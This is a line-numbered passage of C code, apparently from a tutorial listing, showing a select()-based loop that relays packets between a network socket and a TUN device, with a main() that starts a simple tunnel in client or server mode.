| void 200 | async_read (int s, int s1) 201 | { 202 | fd_set rfds; 203 | struct timeval tv; 204 | int max = s > s1 ? s : s1; 205 | int len, r; 206 | char buffer[BUF_SIZE]; 207 | 208 | max++; 209 | while (1) 210 | { 211 | FD_ZERO(&rfds); 212 | FD_SET(s,&rfds); 213 | FD_SET(s1,&rfds); 214 | 215 | /* Time out. */ 216 | tv.tv_sec = 1; 217 | tv.tv_usec = 0; 218 | 219 | if ((r = select (max, &rfds, NULL, NULL, &tv)) < 0) 220 | { 221 | perror ("select:"); 222 | exit (EXIT_FAILURE); 223 | } 224 | else if (r > 0) /* If there is data to process */ 225 | { 226 | if (FD_ISSET(s, &rfds)) 227 | { 228 | len = read_pkt (s, buffer); 229 | if ((write (s1, buffer, len)) < 0) 230 | { 231 | perror ("write(net):"); 232 | exit (1); 233 | } 234 | } 235 | if (FD_ISSET(s1, &rfds)) 236 | { 237 | if ((len = read (s1, buffer, BUF_SIZE)) < 0) 238 | { 239 | perror ("read(tun):"); 240 | exit (1); 241 | } 242 | if ((write_pkt (s, buffer, len)) < 0) exit (1); 243 | } 244 | } 245 | } 246 | } 247 | 248 | int 249 | main (int argc, char *argv[]) 250 | { 251 | int fd; 252 | 253 | /* FIXME: Check command-line arguments */ 254 | if (argv[1][0] == 'c') 255 | { 256 | if ((fd = tun_alloc (argv[2])) < 0) exit (1); 257 | async_read (client_init (argv[3], atoi(argv[4])), fd); 258 | } 259 | else if (argv[1][0] == 's') 260 | { 261 | if ((fd = tun_alloc (argv[2])) < 0) exit (1); 262 | async_read (server_init (atoi(argv[3])), fd); 263 | } 264 | 265 | return 0; 266 | } 267 | --------------------------------------------------------------------------------